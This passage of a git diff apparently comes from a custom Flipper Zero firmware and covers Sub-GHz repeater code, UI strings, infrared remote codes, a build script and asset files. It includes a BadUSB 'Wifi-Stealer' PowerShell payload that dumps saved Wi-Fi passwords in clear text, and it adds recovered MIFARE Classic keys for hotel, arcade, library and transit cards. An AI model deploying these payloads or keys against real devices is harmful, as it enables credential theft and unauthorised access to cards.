Repeat - if(tmp > furi_ms_to_ticks(subghz->RepeaterTXLength) * RepeatMultiplier) { - /* AAAAARGH! The FLipper cant tell me how long the receive was happening. + if(tmp > furi_ms_to_ticks(subghz->RepeaterTXLength) * RepeatMultiplier) { + /* AAAAARGH! The FLipper cant tell me how long the receive was happening. I can find the minimum time to transmit a key though, so Ive just doubled it to get the key to send OK to a receiver. It works on my car, by who knows how it will work on devices that look at TX time1 At least the key is guaranteed to be transmitted up to TWICE! Regardless of Te of a Key This is the best repeaterv the flipper can do without diving deeper into the firmware for some big changes! */ - FURI_LOG_I(TAG, "TXLength: %lu TxTime: %lu", subghz->RepeaterTXLength, tmp); - - subghz_txrx_stop(subghz->txrx); - subghz->RepeaterTXLength = 0; - subghz->RepeaterStartTime = 0; - subghz->ignore_filter = 0x00; - subghz_txrx_rx_start(subghz->txrx); - subghz_txrx_hopper_unpause(subghz->txrx); - subghz->state_notifications = SubGhzNotificationStateRx; - //notification_message(subghz->notifications, &subghz_sequence_repeat); - } - } else { - if(subghz->state_notifications != SubGhzNotificationStateTx) { - if(subghz_txrx_hopper_get_state(subghz->txrx) != SubGhzHopperStateOFF) { - subghz_txrx_hopper_update(subghz->txrx); - subghz_scene_receiver_update_statusbar(subghz); + FURI_LOG_I(TAG, "TXLength: %lu TxTime: %lu", subghz->RepeaterTXLength, tmp); + + subghz_txrx_stop(subghz->txrx); + subghz->RepeaterTXLength = 0; + subghz->RepeaterStartTime = 0; + subghz->ignore_filter = 0x00; + subghz_txrx_rx_start(subghz->txrx); + subghz_txrx_hopper_unpause(subghz->txrx); + subghz->state_notifications = SubGhzNotificationStateRx; + //notification_message(subghz->notifications, &subghz_sequence_repeat); } - - SubGhzThresholdRssiData ret_rssi = subghz_threshold_get_rssi_data( - subghz->threshold_rssi, subghz_txrx_radio_device_get_rssi(subghz->txrx)); - - subghz_receiver_rssi(subghz->subghz_receiver, ret_rssi.rssi); - subghz_protocol_decoder_bin_raw_data_input_rssi( - (SubGhzProtocolDecoderBinRAW*)subghz_txrx_get_decoder(subghz->txrx), - ret_rssi.rssi); } } } diff --git a/applications/main/subghz/views/subghz_read_raw.c b/applications/main/subghz/views/subghz_read_raw.c index 2d3cbdf1263..da1d51fcb05 100644 --- a/applications/main/subghz/views/subghz_read_raw.c +++ b/applications/main/subghz/views/subghz_read_raw.c @@ -346,7 +346,7 @@ void subghz_read_raw_draw(Canvas* canvas, SubGhzReadRAWModel* model) { case SubGhzReadRAWStatusLoadKeyTX: case SubGhzReadRAWStatusLoadKeyTXRepeat: graphics_mode = 0; - elements_button_center(canvas, "Send"); + elements_button_center(canvas, "Hold to repeat"); break; case SubGhzReadRAWStatusStart: diff --git a/applications/services/cli/cli.c b/applications/services/cli/cli.c index a6aaa842913..975987e2f41 100644 --- a/applications/services/cli/cli.c +++ b/applications/services/cli/cli.c @@ -118,7 +118,8 @@ void cli_motd() { "|_| |____||___||_| |_| |___||_|_\\ \\___||____||___|\r\n" "\r\n" "Welcome to Flipper Zero Command Line Interface!\r\n" - "Read Manual https://docs.flipperzero.one\r\n" + "Read the manual: https://docs.flipper.net/development/cli\r\n" + "Run `help` or `?` to list available commands\r\n" "\r\n"); const Version* firmware_version = furi_hal_version_get_firmware_version(); diff --git a/applications/services/gui/modules/variable_item_list.c b/applications/services/gui/modules/variable_item_list.c index a8137732944..400909d17af 100644 --- a/applications/services/gui/modules/variable_item_list.c +++ b/applications/services/gui/modules/variable_item_list.c @@ -594,9 +594,10 @@ void variable_item_set_current_value_text(VariableItem* item, const char* curren void variable_item_set_locked(VariableItem* item, bool locked, const char* locked_message) { item->locked = locked; - if(locked) { - furi_assert(locked_message); + if(locked_message) { furi_string_set(item->locked_message, locked_message); + } else if(locked && furi_string_empty(item->locked_message)) { + furi_string_set(item->locked_message, "Locked!"); } } diff --git a/assets/resources/apps_data/esp_flasher/assets/marauder/DevproWroom/esp32_marauder.marauder_dev_board_pro.bin b/assets/resources/apps_data/esp_flasher/assets/marauder/DevproWroom/esp32_marauder.marauder_dev_board_pro.bin new file mode 100644 index 00000000000..7c0445d334e Binary files /dev/null and b/assets/resources/apps_data/esp_flasher/assets/marauder/DevproWroom/esp32_marauder.marauder_dev_board_pro.bin differ diff --git a/assets/resources/apps_data/esp_flasher/assets/marauder/WifidevS2/esp32_marauder.flipper.bin b/assets/resources/apps_data/esp_flasher/assets/marauder/WifidevS2/esp32_marauder.flipper.bin new file mode 100644 index 00000000000..d3f1225706a Binary files /dev/null and b/assets/resources/apps_data/esp_flasher/assets/marauder/WifidevS2/esp32_marauder.flipper.bin differ diff --git a/assets/resources/badusb/Wifi-Stealer_ORG.txt b/assets/resources/badusb/Wifi-Stealer_ORG.txt index d6c0aeacaf0..93c24630e34 100644 --- a/assets/resources/badusb/Wifi-Stealer_ORG.txt +++ b/assets/resources/badusb/Wifi-Stealer_ORG.txt @@ -9,5 +9,5 @@ DELAY 500 STRING powershell ENTER DELAY 500 -STRING cd C:\Users\$env:UserName\Desktop; netsh wlan export profile key=clear; Select-String -Path WiFi-* -Pattern 'keyMaterial' | % { $_ -replace '', ''} | % {$_ -replace "C:\\Users\\$env:UserName\\Desktop\\", ''} | % {$_ -replace '.xml:22:', ''} > 0.txt; del WiFi-*;exit +STRING cd C:\Users\$env:UserName\Desktop; netsh wlan export profile key=clear; Select-String -Path Wi-Fi-* -Pattern 'keyMaterial' | % { $_ -replace '', ''} | % {$_ -replace "C:\\Users\\$env:UserName\\Desktop\\", ''} | % {$_ -replace '.xml:22:', ''} > 0.txt; del WiFi-*;exit ENTER diff --git a/assets/resources/infrared/assets/ac.ir b/assets/resources/infrared/assets/ac.ir index 22bd473a764..6b27367b7b3 100644 --- a/assets/resources/infrared/assets/ac.ir +++ b/assets/resources/infrared/assets/ac.ir @@ -807,3 +807,79 @@ type: raw frequency: 38000 duty_cycle: 0.330000 data: 6175 7369 602 1570 602 1570 601 1570 573 1598 574 1598 573 1597 574 1597 574 1598 574 525 574 526 573 526 573 527 572 528 571 529 570 529 570 530 568 1603 568 1627 544 1627 544 1627 544 1628 544 554 545 1627 544 1628 544 555 544 555 544 555 544 555 544 554 544 1627 545 555 544 554 545 1627 544 1627 544 1627 544 1627 544 1627 544 1603 568 1602 569 1603 569 530 569 529 570 529 570 529 570 529 570 529 570 529 570 528 570 1601 571 528 570 1602 570 529 570 528 570 1601 570 1600 571 1601 571 528 571 1601 570 528 570 1601 570 1602 570 529 570 529 570 528 570 1601 570 1601 570 1600 571 1601 571 528 570 1601 570 1601 571 528 571 528 571 529 570 528 571 528 570 1601 571 528 571 528 570 1603 570 529 571 1603 570 529 570 1603 570 529 570 1603 570 529 571 1602 571 1603 570 529 571 1603 570 529 571 1603 570 529 571 1603 570 530 570 7370 570 +# +# Model: AUX YKR-H/006E +# +name: Off +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8957 4502 539 1683 538 1681 540 559 538 559 538 556 541 557 540 1683 538 1682 539 1684 537 1682 539 1681 540 1684 537 1684 537 1682 539 1684 537 558 539 558 539 558 539 558 539 559 538 558 539 1682 539 1681 540 1683 538 557 540 558 539 558 539 557 540 559 538 557 540 557 540 561 536 559 538 558 539 557 540 558 539 558 539 1683 538 558 539 1682 540 557 540 559 538 557 540 557 540 561 536 558 539 559 538 558 539 560 537 557 540 558 539 558 539 558 539 559 538 558 539 1682 539 557 540 558 539 557 540 557 540 558 539 560 537 557 540 557 540 558 539 559 538 557 540 559 538 556 541 558 539 558 539 558 539 556 541 559 538 557 540 558 539 558 539 558 539 557 540 558 539 557 541 557 540 557 540 559 538 558 539 558 539 558 539 558 539 1681 540 557 540 1683 538 558 539 559 538 557 540 559 538 559 538 1683 538 1683 538 1683 538 557 540 558 539 558 540 1683 538 560 563 +# +name: Dh +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8956 4504 536 1684 537 1687 534 559 538 559 538 559 538 560 537 1683 538 1685 536 1682 539 1684 537 1683 538 1684 537 1683 538 1684 537 1683 538 558 539 562 535 559 538 558 539 562 535 560 537 1683 538 1684 537 1683 538 561 536 561 536 561 537 560 537 561 536 558 539 560 537 559 538 560 537 561 536 561 536 563 534 559 538 1684 537 559 538 1684 537 561 536 560 537 560 537 560 537 560 537 560 537 559 538 559 538 559 538 588 509 558 539 559 538 559 538 564 533 1684 537 559 538 560 537 559 538 588 509 563 534 559 538 559 538 558 539 562 535 558 539 561 536 560 537 560 537 559 538 588 509 561 536 560 537 561 536 563 534 561 536 560 537 561 536 1684 537 559 538 559 538 559 538 561 536 560 537 560 537 559 538 561 536 558 539 560 537 1684 537 559 538 1683 538 561 536 561 536 563 534 559 538 558 539 1683 538 1684 537 1684 537 560 537 560 537 1683 538 560 537 560 563 +# +name: Cool_hi +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8957 4502 538 1683 538 1684 537 562 535 560 537 559 538 559 539 1683 538 1682 539 1711 510 1685 536 1683 538 558 539 588 509 557 540 1682 539 557 540 558 539 559 538 559 538 558 539 561 536 1681 540 1682 539 1683 538 559 538 559 538 559 538 561 536 560 537 559 538 558 539 559 538 559 538 559 538 559 538 560 537 560 537 1685 536 560 537 1685 536 560 537 559 538 560 537 560 537 559 538 558 539 559 538 560 537 587 510 562 535 559 538 560 537 557 540 1685 536 559 538 560 537 587 510 588 509 559 538 562 535 560 537 557 540 559 538 557 540 560 537 587 510 560 538 558 539 559 538 559 538 561 536 560 537 560 537 558 540 560 537 559 538 560 537 1683 538 562 535 560 537 559 538 560 537 558 539 559 538 558 539 560 537 560 537 559 538 1683 538 558 539 1684 537 559 538 558 539 559 538 558 539 558 539 1682 539 1684 537 1684 537 1683 538 560 537 558 539 1683 538 1684 564 +# +name: Cool_lo +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8956 4501 539 1682 539 1682 539 559 538 557 540 587 510 558 539 1684 537 1682 539 1682 539 1682 539 1680 541 1682 539 1682 539 1682 539 1681 540 558 539 558 539 558 539 557 540 558 539 557 540 1683 538 1683 538 1683 538 558 539 558 539 558 539 557 540 560 537 560 537 557 540 558 539 557 540 558 539 557 540 560 537 558 539 1681 540 556 541 1684 537 558 539 557 540 559 538 558 539 557 540 558 539 558 539 560 537 559 538 558 539 558 539 557 540 559 538 1685 536 559 538 558 539 587 510 557 540 559 538 559 538 560 537 560 537 558 539 559 538 558 539 559 538 562 535 558 539 557 540 557 540 559 538 559 538 558 539 559 538 558 539 558 539 557 540 1682 539 557 540 558 539 559 538 557 540 558 539 560 537 559 538 557 540 561 536 558 539 1682 539 558 539 1682 539 559 538 557 540 558 539 559 538 559 538 1682 539 1684 537 1683 538 557 540 558 539 558 539 560 537 559 564 +# +name: Heat_hi +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8959 4502 539 1682 539 1682 539 556 541 559 538 558 539 559 538 1680 541 1681 540 1684 537 1683 538 1684 537 557 540 560 537 558 539 1683 538 1682 539 558 539 559 538 559 538 558 539 558 539 1683 538 1681 540 1683 538 559 538 560 537 560 537 559 538 561 536 560 537 559 538 559 538 559 538 559 538 559 538 560 537 557 540 1682 539 557 540 1682 539 559 538 558 539 560 538 558 539 558 539 558 539 558 539 558 539 559 538 559 538 557 540 558 539 558 539 559 538 560 537 1684 537 561 536 557 540 559 538 559 538 557 540 558 539 559 538 560 537 558 539 558 539 559 538 558 539 559 539 559 538 557 540 559 538 557 540 558 540 561 536 558 539 558 539 1683 538 558 539 559 538 557 540 559 538 557 540 558 539 559 538 559 538 558 539 559 538 1681 540 558 539 1684 537 562 535 560 537 559 538 559 538 560 537 1682 539 1682 539 1682 539 1686 535 559 538 1682 539 559 538 1682 565 +# +name: Heat_lo +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8961 4501 539 1681 540 1681 540 559 538 558 539 558 539 557 540 1682 539 1682 539 1681 540 1682 539 1682 539 1683 538 1682 539 1683 538 1682 539 557 540 560 537 558 539 560 537 560 537 558 539 1681 540 1681 540 1682 539 557 540 558 539 561 536 558 539 560 537 558 539 556 541 558 539 558 539 557 540 559 538 558 539 559 538 1684 537 559 538 1682 539 558 539 556 541 559 538 562 535 556 541 558 539 558 539 557 540 558 539 557 540 558 539 559 538 560 537 557 540 557 540 1682 539 558 539 557 540 558 539 559 538 559 538 557 540 558 539 558 539 558 539 558 539 557 540 561 536 558 539 586 511 558 539 557 540 586 511 559 539 556 541 557 540 557 540 1682 539 559 538 558 539 558 539 559 538 558 539 560 537 558 539 559 538 558 539 557 540 1681 540 558 539 1680 541 557 540 557 540 559 538 558 539 559 538 1682 539 1682 539 1682 539 558 539 558 539 1682 539 1682 539 558 565 +# +# Model: Carrier 42QG5A580SC +# +name: Off +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8403 4308 519 1425 518 625 520 1461 485 1427 518 559 517 564 567 1386 518 1429 517 562 597 524 519 1431 517 1430 518 567 516 1426 518 565 517 1429 518 1431 518 1425 519 565 517 1457 485 562 518 1429 519 1424 520 565 516 1426 517 561 519 1430 515 1427 518 563 595 525 518 1428 517 528 489 21085 8424 4296 642 467 568 1400 569 533 569 536 647 1402 569 1395 569 535 568 534 569 1405 566 1397 567 549 568 535 569 1401 567 533 570 1399 571 537 570 534 568 537 567 1397 570 535 571 1401 568 534 567 533 567 1399 567 539 568 1402 569 565 569 532 571 1399 571 1397 569 535 566 1358 489 21085 8401 4318 512 1438 517 573 515 1476 532 1389 516 573 518 609 535 1393 568 1392 516 574 567 528 566 1393 565 1390 516 576 516 1437 517 574 517 1441 516 1445 567 1389 517 578 566 1390 516 578 568 1398 566 1392 515 575 516 1437 516 574 517 1442 567 1425 483 597 515 575 516 1446 514 539 490 +# +name: Dh +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8391 4318 536 1417 518 564 516 1432 517 1428 518 563 518 562 517 1433 516 1428 518 564 519 565 513 1433 517 1430 517 562 518 1463 483 561 517 1430 516 1428 518 563 595 1393 516 559 519 565 514 1425 519 1429 517 569 514 1426 518 566 514 1466 485 562 518 559 518 561 518 1425 519 531 488 21116 8369 4318 569 534 641 1326 640 462 641 465 641 1330 641 1325 639 464 568 534 595 1403 641 1328 641 462 639 467 640 1328 568 536 642 1367 568 531 567 536 569 1398 568 537 542 1432 640 1327 567 532 568 535 567 1400 567 539 567 1399 568 536 568 1402 569 1402 568 1401 567 537 565 1359 487 21117 8392 4294 565 1388 517 575 566 1393 516 1443 514 574 516 573 517 1443 567 1391 515 574 516 577 566 1393 565 1390 566 528 567 1392 516 575 567 1395 565 1390 515 576 568 1391 515 572 566 528 565 1395 565 1393 515 572 564 1391 515 581 563 1389 516 578 513 609 483 576 566 1391 514 538 487 +# +name: Cool_hi +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8424 4292 514 1428 518 559 518 1431 514 1432 517 561 515 566 512 1433 516 1434 516 562 519 562 516 1432 517 1426 518 566 516 1429 517 566 516 1429 518 1428 517 562 516 1467 481 570 517 561 518 565 519 563 515 566 516 567 516 1433 516 1429 514 564 518 561 518 562 519 1428 519 536 562 21009 8478 4280 638 461 641 1328 641 456 642 467 637 1325 643 1326 568 597 568 537 639 1330 641 1327 568 535 640 468 639 1324 568 534 543 1432 566 535 641 494 637 1327 566 532 640 1329 567 1398 640 1327 641 1327 640 1326 642 1328 568 531 568 538 567 1402 567 1406 566 1402 568 532 569 1357 489 21085 8401 4319 565 1394 516 577 567 1396 565 1390 515 574 543 566 516 1441 568 1392 516 575 566 531 566 1393 567 1390 516 576 515 1456 515 579 562 1392 515 1440 515 575 566 1391 516 576 544 569 563 525 516 574 514 606 514 576 514 1439 567 1390 515 575 515 574 570 566 567 1390 515 540 488 +# +name: Cool_lo +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8401 4306 518 1460 483 566 518 1432 517 1430 514 561 516 564 517 1429 518 1430 519 592 485 564 517 1427 517 1432 516 561 545 1430 516 566 518 1462 483 1430 515 568 517 1427 516 566 516 564 517 1430 518 1425 518 559 518 562 518 1426 518 1425 517 593 484 561 516 573 516 1427 517 530 564 21007 8401 4322 642 465 643 1324 643 457 643 458 643 1327 643 1327 641 463 642 461 644 1325 644 1324 643 462 642 483 643 1328 641 460 645 1321 643 458 643 464 641 1325 643 459 644 1327 642 1323 643 461 643 461 642 1347 644 1331 641 463 639 462 641 1327 571 1405 542 1428 670 462 645 1282 562 21007 8402 4317 515 1436 517 606 641 1321 516 1438 517 572 515 578 516 1441 515 1440 516 572 515 575 515 1474 610 1316 515 574 644 1314 516 574 567 1394 640 1316 517 578 639 1319 516 576 517 575 513 1447 641 1315 516 576 515 577 566 1396 514 1440 516 573 518 571 638 456 565 1393 515 538 564 +# +name: Heat_hi +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8399 4307 519 1426 518 560 517 1432 517 1460 485 561 518 558 517 1436 518 1427 518 555 520 561 517 1430 519 1428 516 560 519 1425 518 566 517 1430 516 1432 519 563 519 1425 518 563 515 1429 517 1433 517 1430 516 1432 518 1429 518 568 516 1432 515 1429 519 561 516 567 517 1427 519 533 487 21083 8424 4339 567 536 568 1402 641 493 608 462 545 1431 640 1326 567 532 568 538 640 1331 640 1329 641 536 565 534 641 1329 567 537 639 1329 640 462 642 467 641 1325 568 532 642 1332 640 488 568 534 565 536 566 566 536 567 641 1329 570 535 638 464 569 1401 641 1326 568 534 639 1287 490 21083 8403 4313 567 1390 516 579 514 1441 515 1438 517 575 516 576 568 1393 568 1394 515 606 534 530 515 1441 567 1425 482 576 568 1392 514 578 566 1392 569 1432 515 576 568 1389 517 577 515 1444 515 1437 569 1393 516 1444 566 1389 566 528 567 1394 566 1419 517 575 513 578 515 1440 516 539 490 +# +name: Heat_lo +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8425 4291 542 1401 544 538 542 1404 518 1427 544 534 570 540 516 1434 542 1399 544 539 544 539 541 1403 541 1402 516 570 517 1427 545 566 511 1406 517 1431 542 534 544 1406 543 536 517 567 543 1404 542 1400 595 525 544 1405 542 534 516 1433 516 1428 544 537 544 535 543 1403 542 505 488 21084 8424 4298 566 535 569 1402 567 533 568 537 570 1403 570 1403 565 534 566 537 566 1402 569 1398 569 533 569 538 592 1446 569 535 570 1400 569 567 535 535 568 1437 568 533 568 1398 569 1402 565 533 567 534 569 1403 568 536 569 1402 568 535 567 534 571 1403 568 1415 566 536 571 1362 489 21084 8403 4313 516 1439 517 574 515 1442 515 1441 518 573 516 574 567 1397 514 1440 515 573 516 575 516 1443 515 1439 518 574 516 1440 517 608 535 1396 517 1441 517 579 515 1438 515 576 517 578 568 1390 569 1391 516 575 518 1439 516 573 517 1445 566 1391 516 571 517 572 516 1441 514 543 487 \ No newline at end of file diff --git a/assets/resources/infrared/assets/tv.ir b/assets/resources/infrared/assets/tv.ir index d2164b16d2f..900a558eaad 100644 --- a/assets/resources/infrared/assets/tv.ir +++ b/assets/resources/infrared/assets/tv.ir @@ -2459,3 +2459,41 @@ type: parsed protocol: NEC address: 38 00 00 00 command: 1C 00 00 00 +# +# Philips OLED 934/12 +# +name: Power +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: Mute +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: Vol_up +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 10 00 00 00 +# +name: Vol_dn +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 11 00 00 00 +# +name: Ch_next +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 20 00 00 00 +# +name: Ch_prev +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 21 00 00 00 diff --git a/assets/resources/nfc/assets/mf_classic_dict.nfc b/assets/resources/nfc/assets/mf_classic_dict.nfc index 03f608b54bf..d52131d8c60 100644 --- a/assets/resources/nfc/assets/mf_classic_dict.nfc +++ b/assets/resources/nfc/assets/mf_classic_dict.nfc @@ -631,9 +631,6 @@ AD4FB33388BF 160A91D29A9C # GALLAGHER B7BF0C13066E -# PIK COMFORT MOSCOW KEYS (ISBC MIFARE PLUS SE 1K) -009FB42D98ED -002E626E2820 # BOSTON, MA, USA TRANSIT - MBTA CHARLIE CARD # CHARLIE 3060206F5B0A @@ -1321,6 +1318,49 @@ E4410EF8ED2D D3F3B958B8A3 3E120568A35C 2196FAD8115B +# 1k HAWAII HOTEL +2CAD8A83DF28 +555D8BBC2D3E +78DF1176C8FD +ADC169F922CB +# Bubbleland Play Card - keys from Bubble Land Arcade +# Found with FlipperNestedRecovery by Z3r0L1nk +168168168168 +861861861861 +686B35333376 +#Misc. keys from hotels & library cards in Germany by @icemirr0r +914F57280CE3 +324A82200018 +370AEE95CD69 +2E032AD6850D +1FEDA39D38EC +288B7A34DBF8 +0965E3193497 +18C628493F7F +064D9423938A +995FD2A2351E +7C7D672BC62E +217250FB7014 +AE7478CCAEE7 +ABBF6D116EAF +05862C58EDFB +E43B7F185460 +6A59AA9A959B +B79E5B175227 +7BC9EBB8274B +B2AFBF2331D4 +223E5847DD79 +640524D2A39B +AEE297CB2FD6 +3DA5DFA54604 +0CF1A2AA1F8D +############################################## +# PIK Comfort Moscow keys (ISBC Mifare Plus SE 1K) +009FB42D98ED +002E626E2820 +# Volgograd (Russia) Volna transport cards keys +2B787A063D5D +D37C8F1793F7 7C469FE86855 CE99FBC8BD26 # KEYS FROM EUROTHERMES GROUP (SWITZERLAND) @@ -24092,4 +24132,3 @@ C789E4568B99 B0D58BF147B7 15B35D0BF715 # To be continued! -############################################## \ No newline at end of file diff --git a/buildRelease.sh b/buildRelease.sh index 23e77cd4c62..cb41be9de66 100755 --- a/buildRelease.sh +++ b/buildRelease.sh @@ -14,6 +14,9 @@ cp -rf .blank_files/animation_managerBLANK.c applications/services/desktop/anima ./fbt updater_package mv dist/f7-C/f7-update-RM420FAP "RM$DATE_VAR-$TIME_VAR-NoAnim" rm -rf assets/resources/dolphin/* +cp -rf .blank_files/MjK_blank_128x64 assets/resources/dolphin/ +cp -rf .blank_files/manifest_None.txt assets/resources/dolphin/manifest_None.txt +cp -rf .blank_files/manifest_None.txt assets/resources/dolphin/manifest.txt cd assets/resources tar -cf "../../RM$DATE_VAR-$TIME_VAR-NoAnim/resources.tar" * cd ../../ diff --git a/lib/cfw/cfw.h b/lib/cfw/cfw.h index 4c09e7c51b4..73e3822030b 100644 --- a/lib/cfw/cfw.h +++ b/lib/cfw/cfw.h @@ -30,44 +30,6 @@ typedef enum { MenuStyleCount, } MenuStyle; -typedef enum { - AnimStyleNone, - AnimStyleDefault, - AnimStyleMinimal, - AnimStyle420, - AnimStyle42018, - AnimStyleALL, - AnimStyleAnime, - AnimStyleAnime420, - AnimStyleAnime42018, - AnimStyleBMO, - AnimStyleCherry, - AnimStyleCorpLogos, - AnimStyleCustom1, - AnimStyleCustom2, - AnimStyleDBZ, - AnimStyleDigim0n, - AnimStyleDolphin, - AnimStyleHackz, - AnimStyleMario, - AnimStyleMarvel, - AnimStyleNYAN, - AnimStyleOnePiece, - AnimStyleP0kemon, - AnimStyleRM18, - AnimStyleRMSelect, - AnimStyleRMSelect18, - AnimStyleSAO, - AnimStyleScience, - AnimStyleSJUMP, - AnimStyleSquatch, - AnimStyleStock, - AnimStyleVirus, - AnimStyleWatchDogs, - AnimStyleLeeroy, - AnimStyleCount, -} AnimStyle; - typedef enum { SpiDefault, // cs on pa4 SpiExtra, // cs on pc3 diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index 0d9545020d9..87927e3628b 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -718,7 +718,7 @@ void subghz_protocol_decoder_came_atomo_get_string(void* context, FuriString* ou furi_string_cat_printf( output, "%s %db\r\n" - "Key:0x%08lX%08lX\r\n" + "Key:%08lX%08lX\r\n" "Sn:0x%08lX Btn:%01X\r\n" "Pcl_Cnt:0x%04lX\r\n" "Btn_Cnt:0x%02X",